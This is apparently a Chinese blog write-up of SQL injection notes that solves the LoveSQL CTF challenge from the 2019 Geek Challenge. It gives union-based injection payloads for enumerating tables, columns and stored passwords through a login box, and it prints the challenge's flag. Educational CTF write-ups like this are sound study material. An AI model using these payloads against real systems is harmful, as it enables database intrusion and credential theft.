sql注入笔记

本文详细介绍了SQL注入的原理,通过实际的LoveSQL挑战,逐步展示了如何找到注入点、判断字段数和顺序,进而获取数据库表信息及flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

sql注入原理

在与服务器数据库进行数据交互的地方拼接了恶意的sql代码,达到欺骗服务器执行恶意代码的目的。本质上是程序把用户输入的数据当成了sql语句执行。

SQL注入攻击思路

1.寻找注入点,判断闭合拼接

2.判断页面回馈寻找获取数据的方式

3.根据掌握的信息进行攻击

步骤(以2019极客大挑战中的LoveSQL为例)

确定注入类型

有登录框,可以在登录框里注入

尝试使用万能密码

回显了一个奇怪的字符串,看起来很像flag,但不是

确定字段数和显示顺序

在初步尝试登录成功后,接下来还是按照sql注入的步骤进行。我们注入1' union select 1, 2, 3 #,发现Hello处显示了2,Your password is处显示了3,再经过其它测试发现查询的字段数只有3列。可以猜到第2列对应的是用户名,第3列对应的是密码。

获取数据库以及表信息

基本上确定注入类型和字段数

注入语句找库

1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() #

   

获取字段信息

根据上步骤可以猜测flag存在表l0ve1ysq1中,下面就应该获取字段信息

1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1" #

  

基本确定flag在字段password中

联合查询1' union select 1, 2, group_concat(password) from l0ve1ysq1 #

  

得到flag

出来了这一段:

  wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{81af2596-7902-4c5f-a688-c2b271206b53}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值